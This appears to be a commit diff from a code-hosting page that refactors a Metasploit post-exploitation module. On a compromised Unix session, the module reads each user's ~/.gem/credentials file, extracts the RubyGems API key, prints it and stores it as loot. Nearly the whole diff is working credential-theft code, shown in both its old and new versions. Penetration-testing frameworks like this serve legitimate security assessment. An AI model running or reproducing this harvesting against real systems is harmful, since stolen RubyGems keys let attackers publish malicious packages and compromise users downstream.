Fix bugs and make final changes
parent
2bb9314b4b
commit
d53f4e1178
|
@ -6,57 +6,61 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'yaml'
|
require 'yaml'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit4 < Msf::Post
|
||||||
|
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Unix
|
include Msf::Post::Unix
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Multi Gather RubyGems API Key ~/.gem/credentials',
|
'Name' => 'Multi Gather RubyGems API Key',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module obtains a user's RubyGems API key from ~/.gem/credentials.
|
This module obtains a user's RubyGems API key from ~/.gem/credentials.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'Author' => [
|
||||||
'Author' => [ 'Jonathan Claudius <jclaudius[at]trustwave.com>',
|
'Jonathan Claudius <jclaudius[at]trustwave.com>',
|
||||||
'Brandon Myers <bmyers[at]trustwave.com>' ],
|
'Brandon Myers <bmyers[at]trustwave.com>'
|
||||||
'Platform' => %w{ bsd linux osx unix },
|
],
|
||||||
'SessionTypes' => %w{ shell }
|
'Platform' => %w{bsd linux osx unix},
|
||||||
|
'SessionTypes' => %w{shell},
|
||||||
|
'License' => MSF_LICENSE
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
print_status("Finding ~/.gem/credentials")
|
print_status('Finding ~/.gem/credentials')
|
||||||
paths = enum_user_directories.map {|d| d + "/.gem/credentials"}
|
paths = enum_user_directories.map { |d| d + '/.gem/credentials' }
|
||||||
paths = paths.select { |f| file?(f) }
|
paths = paths.select { |f| file?(f) }
|
||||||
|
|
||||||
if paths.empty?
|
if paths.empty?
|
||||||
print_error("No users found with a ~/.gem/credentials file")
|
print_error('No users found with a ~/.gem/credentials file')
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
download_loot(paths)
|
download_key(paths)
|
||||||
end
|
end
|
||||||
|
|
||||||
def download_loot(paths)
|
def download_key(paths)
|
||||||
print_status("Looting #{paths.count} files")
|
print_status("Looting #{paths.count} files")
|
||||||
paths.each do |path|
|
paths.each do |path|
|
||||||
path.chomp!
|
path.chomp!
|
||||||
next if [".", ".."].include?(path)
|
next if ['.', '..'].include?(path)
|
||||||
|
|
||||||
rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key] [...]
|
rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key]
|
||||||
next unless rubygems_api_key.is_a(::String)
|
next unless rubygems_api_key
|
||||||
|
|
||||||
print_good("Found a RubyGems API key #{rubygems_api_key}")
|
|
||||||
|
|
||||||
loot_path = store_loot("host.rubygems.apikey",
|
print_good("Found a RubyGems API key: #{rubygems_api_key}")
|
||||||
"text/plain",
|
|
||||||
session,
|
|
||||||
rubygems_api_key,
|
|
||||||
"ruby_api_key.txt",
|
|
||||||
"Ruby API Key")
|
|
||||||
|
|
||||||
print_good("RubyGems API key stored in #{loot_path.to_s}")
|
loot_path = store_loot(
|
||||||
|
'rubygems.apikey',
|
||||||
|
'text/plain',
|
||||||
|
session,
|
||||||
|
rubygems_api_key,
|
||||||
|
'rubygems_api_key.txt',
|
||||||
|
'RubyGems API key'
|
||||||
|
)
|
||||||
|
|
||||||
|
print_good("RubyGems API key stored in #{loot_path}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue